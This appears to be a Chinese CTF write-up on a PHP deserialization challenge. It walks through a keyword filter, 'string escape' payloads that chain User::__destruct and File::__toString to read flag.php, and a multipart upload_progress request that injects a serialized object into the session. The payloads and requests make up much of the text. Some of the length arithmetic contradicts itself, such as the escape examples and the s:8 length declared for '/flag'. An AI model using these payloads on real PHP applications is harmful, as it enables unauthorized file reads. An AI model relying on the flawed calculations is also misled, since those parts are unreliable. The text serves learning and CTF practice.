news 2026/9/16 21:39:34

PHP反序列化漏洞实战:字符串逃逸与session注入绕过过滤

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP反序列化漏洞实战:字符串逃逸与session注入绕过过滤

这道题我在BUUCTF上刷的时候卡了挺久,不是因为反序列化本身多难,而是入口藏得比较深,加上filter会把关键词替换成空字符串,导致序列化数据长度对不上,直接unserialize就炸。后来把源码审计思路捋顺之后发现,这类题的核心其实就两件事:找反序列化入口,以及处理过滤规则带来的序列化长度错位。下面把完整思路、踩坑过程和payload构造方法都写出来,希望能帮到正在刷这道题的人。

1. 题目初印象:先说这道题在考什么

1.1 核心考点拆解

这道题挂着“easy_serialize_php”的名字,考点也确实很明确:PHP反序列化漏洞,外加一点点代码审计能力。它并不是那种需要复杂pop链的高级题,反而更像是一道“反序列化入门后必须掌握的题目”。

主要考点可以拆成这么几块:

  • PHP序列化与反序列化的基本格式理解,比如O:4:"User":3:{...}s:8:"username";这类结构。
  • 魔术方法的触发条件,尤其是__destruct__toString
  • preg_replace把关键词替换成空字符串之后,如何影响序列化字符串长度。
  • 利用“序列化字符串逃逸”注入可控属性。
  • 从题目环境中找到反序列化入口,通常藏在$_SESSION["user"]这类来源里。

这道题还有一个很经典的提示点,就是题面里给了phpinfo入口,phpinfo能看到的session.upload_progress相关信息,直接关系到第二种解法——session反序列化。第一遍刷题的时候如果只盯着字符串逃逸,可能会漏掉这条路,但整道题的思想是通用的:用户输入经过过滤后进入unserialize,只要过滤规则不严谨,就有机会构造恶意序列化数据

1.2 适合什么人看

如果你是刚接触CTF Web方向的新手,或者已经能看懂unserialize__destruct这些关键词但还不会实际构造利用,那这道题可以当作业界公认的“反序列化第二课”来刷。第一课是那种直接unserialize($_GET['data'])的裸奔题目,第二课就是这种带过滤的题目。

如果你已经能独立复现这道题,也可以重点看后半部分的“字符串逃逸构造方法”和“session反序列化”延伸,这两个知识点在很多进阶题里会反复出现。尤其是过滤型反序列化,在真实代码审计、Java/PHP组件漏洞里都能看到类似的影子。

2. 信息收集与源码审计:漏洞入口是怎么漏出来的

2.1 第一步:从一级入口找源码

打开题目环境,第一眼通常是一个登录框之类的页面,直接提交没反应。这时候别急着爆破,先尝试常见的信息泄露路径:

  • 访问/index.php?source=1或者/?source=1,看是否有源码输出。
  • 访问/index.php.bak/www.zip等备份文件。
  • 尝试?phpinfo=1,有些题目会直接暴露一个phpinfo页。

在安洵杯这道题里,通过?source=1就能看到index.php的核心源码。看到源码之后,整道题的轮廓就出来了。

源码简化后大致长这样:

<?php error_reporting(0); session_start(); $user = $_SESSION['user']; $func = $_GET["func"]; function filter($str){ $filter = '/flag|php|info/i'; return preg_replace($filter, '', $str); } if ($user) { $user = unserialize(filter($user)); } if (isset($_GET['func'])) { $user->$func(); } else { $user->login(); } class User { public $username; public $password; public $status; function login() { $this->status = "login success!"; return $this->status; } function __destruct() { echo $this->status; } } class File { public $filename; function __toString() { return file_get_contents($this->filename); } } ?>

注意,不同版本的环境或平台复现时源码可能稍有出入,有的会把$_SESSION['user']的赋值逻辑放在登录处理里,比如:

$_SESSION['user'] = $_POST['username'] . "|" . $_POST['password'];

但无论入口怎么写,核心逻辑是一样的:程序会从session里取出user字段,经过filter过滤,然后交给unserialize反序列化,最后在某个时刻触发对象的方法或析构函数。

2.2 关注点:过滤函数、session、魔术方法

拿到源码后,不要急着盯一处看,先把几个关键点标出来:

第一个关键点:filter函数。

function filter($str){ $filter = '/flag|php|info/i'; return preg_replace($filter, '', $str); }

这个函数会把字符串中的flagphpinfo(不区分大小写)全部替换成空字符串。比如:

  • flag.php经过过滤后变成.
  • pphphp经过过滤后变成php
  • pphphphinfo经过过滤后变成phpinfo

这意味着,如果我们的序列化字符串里出现了flagphpinfo这些关键词,它们会被删掉,从而破坏序列化数据里声明的长度。如果不做处理,unserialize就会解析失败或者解析出我们意想不到的结果。

第二个关键点:数据来源是$_SESSION['user']

这意味着我们不能直接通过GET或POST一个参数就触发反序列化,必须先把payload塞进session。一般来说,题目的登录逻辑或者其他功能点会把用户可控的字符串写进$_SESSION['user'],所以做题时通常需要找到一个“写入点”。

第三个关键点:两个魔术方法。

  • User::__destruct():对象销毁时执行,echo $this->status
  • File::__toString():对象被当成字符串输出时执行,file_get_contents($this->filename)

两个方法串起来就是一个很明显的读文件链:如果User对象的status属性是一个File对象,那么当User对象被销毁时,echo $this->status就会把File对象转成字符串,从而触发__toString(),读取File对象里filename指向的文件。

2.3 漏洞审计结论

到这里,整道题的利用思路就很清晰了:

  1. 我们需要构造一个User对象,让它status属性的值是一个File对象。
  2. File对象的filename属性指向flag文件。
  3. 把这个序列化payload写入$_SESSION['user'],触发unserialize(filter($user))
  4. 脚本结束或对象被销毁时,User::__destruct()输出statusFile::__toString()读取flag文件。

表面上看,这就是一个普通的反序列化读文件,拦路虎只有两个:

  • 怎么把payload写进$_SESSION['user']
  • 怎么绕过filterflagphpinfo的过滤。

第一道坎取决于具体环境,第二道坎就要靠序列化字符串逃逸了。

3. PHP反序列化逃逸:原理与手工构造

3.1 序列化格式速览

先花两分钟回忆一下PHP序列化数据的格式,后面构造payload全靠它。

一个对象序列化后大概是这样的:

O:4:"User":3:{s:8:"username";s:4:"test";s:8:"password";s:4:"test";s:6:"status";s:4:"test";}

拆开看:

  • O:4:"User"表示这是一个对象,类名长度是4,类名是User
  • :3表示这个对象有3个属性。
  • s:8:"username"表示第一个属性名是字符串,长度8,内容是username
  • s:4:"test"表示属性值也是字符串,长度4,内容是test

unserialize在解析字符串的时候,是完全信任s:长度这个声明的。它会按声明长度去读取字符,而不是按实际内容智能判断。

这就是逃逸漏洞的根本原因:当过滤函数改变了字符串的实际长度,却没有同步修改s:长度声明时,反序列化器就会按错误的长度读取数据,导致边界错位,原本应该在字符串内部的内容被挤出字符串边界,或者字符串边界被迫向后移动

3.2 为什么会“逃逸”

这里要区分两种情况。

第一种:过滤后字符串变长。

比如某个过滤函数把a替换成bb,字符串变长了。反序列化器按原来声明的短长度读取字符串,读完之后,多出来的那部分内容就会残留在数据流里,被当成新的结构解析。这种情况我们称为“字符串增多逃逸”,恶意payload是被“挤”出来的。

第二种:过滤后字符串变短。

比如这道题的pphphp被过滤成php,字符串变短了。反序列化器按原来声明的长长度读取字符串,但实际内容不够,它就会把后面紧跟着的";s:6:这些结构字节也当成字符串内容吞进去,导致原本的闭合边界向后移动。这种情况称为“字符串减少逃逸”。

在本题里,filter把关键词替换成空字符串,显然是变短方向。所以我们要用减少型逃逸的思路:通过在字符串值里放置占位符(比如pphphp),让过滤后长度变短,从而迫使解析器吞掉一部分我们预先放置的“填充垃圾”,最后在填充垃圾后面重新构造一个恶意的属性结构。

3.3 减少型逃逸的构造方法

先看一个最朴素的逃逸骨架。

假设我们要让unserialize解析出一段带有恶意属性的结构,但这段结构前面有一个字符串值会受到过滤影响。构造的基本原则是:

原始值 = 占位符(会被过滤变短) + 填充垃圾 + 恶意结构

过滤之后:

过滤后的值 = 占位符(变短后的结果) + 填充垃圾 + 恶意结构

此时,如果序列化字符串里声明的字符串长度 =len(过滤后的占位符) + len(填充垃圾),那么反序列化器按声明长度读取字符串时,就会把过滤后的占位符 + 填充垃圾全部当作字符串值,读完之后正好遇到我们预先放置的";,字符串闭合。闭合之后紧接着的恶意结构(比如s:6:"status";O:4:"File":...)就会被当成新的属性解析。

这里的关键是:减少的量必须由填充垃圾来补足,让声明长度恰好等于过滤后的实际长度,这样原本在字符串内部的闭合引号会被向后推移,给恶意结构腾出解析空间。

举个只针对pphphp的例子:

  • 过滤前:pphphp长度6。
  • 过滤后:php长度3。
  • 减少了3个字节。

如果我们想让s:6这个声明在过滤后依然成立,那过滤后字符串值的实际内容必须是6个字节。但php只有3个字节,所以后面必须再跟3个字节的填充垃圾,比如xxx

这样:

s:6:"pphphpxxx";

过滤后:

s:6:"phpxxx";

声明长度6,实际内容phpxxx长度也正好是6,反序列化器就能正常读取。

但这样只是让字符串合法而已,还没注入属性。要注入属性,我们要在填充垃圾后面放";加恶意结构,让字符串的闭合发生在恶意结构之前:

s:9:"pphphpxxx";s:6:"status";O:4:"File":...}

过滤后:

s:9:"phpxxx";s:6:"status";O:4:"File":...}

s:9声明长度9,解析器读取9个字节:phpxxx";s。读完之后,它期待字符串闭合,但这里并没有合适的";,于是解析就乱了。

正确的做法是让声明长度刚好等于过滤后的占位符 + 填充垃圾的长度,不包含后面的s:6。比如填充垃圾还是xxx,那就写成:

s:6:"pphphpxxx";s:6:"status";O:4:"File":...}

过滤后:

s:6:"phpxxx";s:6:"status";O:4:"File":...}

解析器读6个字节,得到phpxxx,然后看到";,字符串闭合;再看到s:6:"status";,就知道这是下一个属性键,紧接着的值就是O:4:"File":...}这个对象。

这样,我们就通过“把闭合引号向后移”的方式,在原本只打算放一个字符串值的地方,塞进了一个完整的属性结构。

3.4 构造反序列化payload

现在回到题目。我们的目标是让反序列化结果是一个User对象,并且status属性是File对象。

一个最直接、不考虑过滤的对象序列化是:

O:4:"User":2:{s:8:"username";s:4:"test";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}

flag.php会被过滤成.,所以要先处理文件名。flag.php可以用flflagag.pphphp来绕过:

  • flflagag包含flag,但被过滤的是连续的flag子串。flflagag里其实包含一个flag子串(从第2个字符开始是flag),过滤后变成flag
  • pphphp包含php,过滤后变成php
  • 最终flflagag.pphphp过滤后就是flag.php,长度正好对应s:8

所以File对象的序列化可以写成:

O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}

接下来处理User对象和逃逸。

如果入口允许我们直接向$_SESSION['user']里写入一段完整序列化字符串,其实上面这个对象序列化经过过滤后就是合法的,直接就能用:

O:4:"User":2:{s:8:"username";s:4:"test";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}

过滤后:

O:4:"User":2:{s:8:"username";s:4:"test";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}

反序列化成功,status就是File对象,脚本结束时触发__destruct读取flag.php

但很多版本的安洵杯题目里,$_SESSION['user']的赋值会带前缀,比如用户名|密码这种格式,或者写入时会经过额外的拼接。此时我们不能直接写完整对象序列化,而是要用逃逸把前缀“吞掉”。

假设$_SESSION['user']的格式是$username . '|' . $password,而我们只能控制usernamepassword。这种情况下,我们要构造的字符串整体是:

逃逸前缀 + | + 恶意对象序列化

由于PHP session默认使用的是php格式处理器,它把session文件内容按键|序列化值的格式存储。如果|前的内容被反序列化器读取时发生长度错位,|后面的恶意序列化字符串就可能被解析成对象。

这就是字符串逃逸在本题里真正发挥作用的地方。

构造思路是:在username位置放一个长的、会被过滤变短的字符串,然后利用减少型逃逸,让反序列化器在解析username时吞掉后面的|和一部分结构,最终把恶意对象属性解析出来。

一个实际可用的payload骨架是:

pphphp";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}

如果把它作为username的值,外面套上username属性的字典结构:

a:2:{s:8:"username";s:L:"pphphp";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}

其中L需要根据实际过滤结果计算。pphphp过滤后变php,少3个字节。为了让s:L读取完字符串后正好闭合,我们可以让L = 3 + 填充长度

比如把payload写成这样:

a:2:{s:8:"username";s:6:"pphphp";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}

过滤后:

a:2:{s:8:"username";s:6:"php";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}

但这里s:6要读取6个字节,内容却是php";s这6个字节,导致status属性的一部分被吞掉了,反序列化会出错。

所以我们需要在pphphp后面补3个字节的填充,让s:6读取的内容正好是过滤后的php + 填充,然后才是";

a:2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}

过滤后:

a:2:{s:8:"username";s:6:"phpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}

s:6读取phpabc,正好6个字节,然后遇到";,字符串闭合;接着s:6:"status"成为数组的下一个元素键,O:4:"File":...成为对应的值。

这样就实现了注入:反序列化出的数组里,status键的值是File对象。

如果题目最终要求反序列化结果直接是User对象而不是数组,那就在最外层改成O:4:"User":2:{},把逃逸放在username属性值上:

O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}

过滤后:

O:4:"User":2:{s:8:"username";s:6:"phpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flag.php";}}

这样得到的就是User对象,usernamephpabcstatusFile对象。当User对象销毁时,__destructecho $this->status,触发File::__toString(),读取flag.php

4. 完整攻击流程:从payload到读flag

4.1 构造并提交payload

根据题目环境的写入点不同,提交方式有两种常见情况。

第一种,登录表单会把username拼接到$_SESSION['user']里。那么我们在用户名处提交:

pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}

密码随便填。这样最终写入$_SESSION['user']的字符串如果被包裹在一个数组中,或者直接被当作序列化数据,经过过滤后就会变成我们想要的对象结构。

第二种,如果题目允许直接控制session值,那就直接把完整payload作为user参数提交:

O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}

拿到一个可用的PHP session id,把这个payload存入对应的session文件,或者直接通过接口传参让程序写入。

4.2 触发销毁与__toString读取文件

当程序执行到脚本末尾,或者$_SESSION['user']被重新赋值导致旧对象引用计数归零时,User对象就会被销毁,__destruct()执行,输出$this->status

此时$this->status不是普通字符串,而是一个File对象。echo操作会尝试把对象转成字符串,于是File::__toString()被触发,file_get_contents($this->filename)执行,读取flag.php的内容并输出在页面上。

整个调用链是:

unserialize(filter($user)) -> 得到 User对象(status=File对象) -> 脚本结束或对象销毁 -> User::__destruct() -> echo $this->status -> File::__toString() -> file_get_contents($this->filename) -> 输出flag文件内容

这个链不需要显式调用任意方法,唯一要确保的是对象能活到触发时机,然后在合适的时候被销毁。

4.3 尝试多个flag路径

很多人在读取文件时习惯性用flag.php,但不同题目的flag存放位置不一样。常见的候选路径有:

  • flag.php
  • /flag
  • /flag.txt
  • ../flag.php
  • php://filter/read=convert.base64-encode/resource=flag.php

如果第一次读取失败,可以先调整File对象的filename属性再打一次。

比如读取根目录flag:

O:4:"File":1:{s:8:"filename";s:8:"/flag";}

/flag里面没有flag关键词吗?有,所以/flag会被过滤。需要用/flflagag绕过,过滤后变成/flag。长度也要相应调整。

如果环境开启了allow_url_include,还可以尝试:

php://filter/read=convert.base64-encode/resource=flag.php

但注意这里面包含phpflag,都要做占位符处理,非常麻烦,实战中不如直接试路径。

如果最后读出的是flag{...},直接提交就有分了。如果是base64编码内容,先解码再提交。

5. 延伸:session反序列化与upload_progress

这道题还有一个比较进阶的玩法,就是利用PHP的session.upload_progress机制往session文件里写数据,然后通过session文件内容在session_start()时被反序列化的特性来注入对象。这个思路在很多没有显式session写入点的题目里非常管用。

5.1 PHP session的存储格式

PHP的session文件默认存储在临时目录,文件名是sess_加session id。默认的session序列化处理器是php,存储格式是:

键名|序列化值

例如:

user|s:26:"O:4:\"User\":2:{...}"

session_start()读取session文件时,PHP会按|分割,把|前面的内容当作键名,后面的内容当作序列化数据,直接unserialize

如果我们能让|后面的序列化数据变成我们构造的对象,那么$_SESSION里的某个键就会是恶意对象。如果这个键恰好是user,那么题目源码里$user = $_SESSION['user'];就会拿到这个对象。

5.2 通过上传进度在session中注入数据

session.upload_progress是PHP自带的文件上传进度功能。当我们在multipart请求里提交一个名为PHP_SESSION_UPLOAD_PROGRESS的字段时,PHP会在session数组里写入一个键值对,记录上传进度。

这个机制的关键是:上传进度字段的值会作为session数组的键名的一部分,而且这个值在写入session文件时不会被转义。如果我们在值里插入|,就能在session文件里制造一个假的键值分隔符。

比如发送下面的multipart请求:

POST /index.php HTTP/1.1 Host: target Cookie: PHPSESSID=my_session_id Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS" |O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}} ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="a.txt" Content-Type: text/plain aaa ------WebKitFormBoundary--

PHP处理完上传后,session文件里会写入类似这样的内容:

upload_progress_|O:4:"User":2:{...}|a:5:{...}

这里upload_progress_|之间就是键名的一部分,|后面的对象序列化字符串就被当成了对应键的值,再后面的a:5:{...}又会因为|被解析成新的键值对。

由于PHP对session文件的解析规则是取|后面的内容做反序列化,这个被我们插入的对象序列化就会被还原成User对象。虽然键名不是user,但在某些源码实现里,程序可能会遍历$_SESSION或者直接引用某个键,只要触发点对得上,一样能打通。

这种方式的优点是:不需要题目提供明显的session写入点,只要知道一个有效的session id就能尝试注入。缺点是受限于session.upload_progress.enabled是否开启,而且如果session目录不可写或者配置了其他处理器,这个方法就会失效。

5.3 与字符串逃逸的配合

如果题目在反序列化前有filter过滤,那通过upload_progress写入的payload同样要处理flagphpinfo这些关键词。上面那个multipart payload里就已经做了占位符处理。

所以最稳妥的做题路线是:先审计源码确定过滤规则,再根据过滤规则决定payload怎么写,最后选择一种注入方式(字符串逃逸或session文件注入)把payload塞进去。

6. 常见问题与排查实录

6.1 反序列化报错

现象:页面直接报错,或者返回unserialize(): Error at offset之类提示。

原因:序列化数据长度不匹配,说明我们构造的payload经过filter过滤后,某个s:长度和实际内容对不上。

排查方法:把filter规则复制到本地PHP环境,写一段代码打印过滤前后的字符串,对比长度。这一步在构造逃逸payload时几乎是必须的。

我在本地测试时常用这样的调试脚本:

<?php function filter($str){ $filter = '/flag|php|info/i'; return preg_replace($filter, '', $str); } $payload = 'O:4:"User":2:{s:8:"username";s:6:"pphphpabc";s:6:"status";O:4:"File":1:{s:8:"filename";s:8:"flflagag.pphphp";}}'; echo "before: " . $payload . "\n"; $after = filter($payload); echo "after: " . $after . "\n"; var_dump(unserialize($after)); ?>

如果unserialize返回结果不是预期对象,就看看after输出里有没有长度错位。

6.2 长度计算错误

现象:payload看起来没问题,但就是不弹出flag。

原因s:长度里的数字算错了,或者填充字符数量不对。

减少型逃逸里最核心的公式是:

声明长度 = len(过滤后的占位符) + len(填充垃圾)

填充垃圾可以是任意不含敏感关键词的字符,比如abcxxx。填充长度不需要多,够补足减少的长度就行。如果pphphp被过滤成php,减少3个字节,那就在后面补3个字节。

还有一个容易踩的坑:filter是全局正则替换,如果你在payload里使用了多个敏感词,每处替换都会减少长度,填充也要相应增加。比如flflagag.pphphp里包含了flagphp,但那个位置不需要额外填充,因为它是独立的字符串值,只要最终长度和s:8对上就行。

6.3 flag路径不确定

现象:链打通了,__toString确实执行了,但读出来的是一堆路径不存在或者空内容。

原因filename指向的文件不对。

排查方法:先用phpinfo看当前工作目录和系统信息,判断flag可能在哪。常见路径依次尝试:

  • flag.php
  • /flag
  • ../flag.php
  • /flag.txt

每次修改filename后重新构造payload。注意:路径里的flag关键词同样会被过滤,需要做占位符处理。

6.4 session不生效

现象:通过POST提交或者直接访问,$_SESSION['user']始终为空,反序列化根本没执行。

原因:session id不一致,或者session写入点不对。

排查方法:用Burp Suite抓包,观察响应里的Set-Cookie字段。让浏览器保持同一个PHPSESSID,然后再提交带session id的后续请求。

如果使用upload_progress方式,必须保证上传请求和触发反序列化的请求使用同一个session id。有的题目环境session目录权限有问题,上传进度写入失败,这时候只能回到字符串逃逸+显式写入点的路线。

在本地搭环境复现这道题的时候,我习惯把$_SESSION['user']打印出来看,确认写入值是否被转义或拼接。很多看似玄学的问题,打印出来一眼就能看穿。

这道题刷透之后,再遇到带过滤的反序列化题目,思路就会清晰很多:拿到源码先看过滤规则,再看反序列化入口,最后决定是用字符串逃逸还是session注入。不要一上来就背payload,多花十分钟把长度计算清楚,比盲试半天管用得多。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/16 21:38:00

图像去噪技术:7种经典算法原理与Matlab实现

1. 图像去噪技术概述图像去噪是数字图像处理中最基础也最关键的预处理步骤之一。作为一名长期从事医学影像处理的工程师&#xff0c;我深刻理解噪声对后续分析&#xff08;如病灶识别、三维重建&#xff09;的灾难性影响。在实际项目中&#xff0c;我们往往需要根据不同的噪声特…

作者头像 李华
网站建设 2026/9/16 21:36:13

比特币与以太坊深度解析:从底层原理到链上实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/16 21:34:33

PHP竞拍商城源码解析:多用户挂售转卖与闪拍系统实现

简介&#xff1a;这是一套面向多用户挂售转卖、竞拍闪拍场景的商城系统完整源码&#xff0c;基于PHP后端与UNIAPP前端开发&#xff0c;覆盖后台商品挂单、竞拍场次设置、用户实时出价、提货与转售等核心流程。包内共有2002个文件&#xff0c;压缩包约142.12MB&#xff0c;其中p…

作者头像 李华
网站建设 2026/9/16 21:34:00

AI系统提示词泄露:三大高危场景与工程化防御

1. 这个标题不是Bug报告&#xff0c;而是一份隐性安全告警单“system_prompts_leaks”——乍看像一段代码片段、一个日志报错&#xff0c;或是某次调试时随手打下的临时变量名。但过去三个月里&#xff0c;我在三类不同场景中反复撞见它&#xff1a;一次是帮某教育SaaS客户做AI…

作者头像 李华
网站建设 2026/9/16 21:32:51

Docker镜像仓库选型与部署:从Docker Hub到Harbor完整指南

要说 Docker 用得久了&#xff0c;一定会遇到一个问题&#xff1a;镜像从哪来、推到哪去。如果只是本地开发&#xff0c;docker pull一下官方镜像还算舒服&#xff1b;可一旦你开始建设环境、对接测试、部署上线&#xff0c;没有自己的 docker 仓库&#xff0c;整套流程就会像没…

作者头像 李华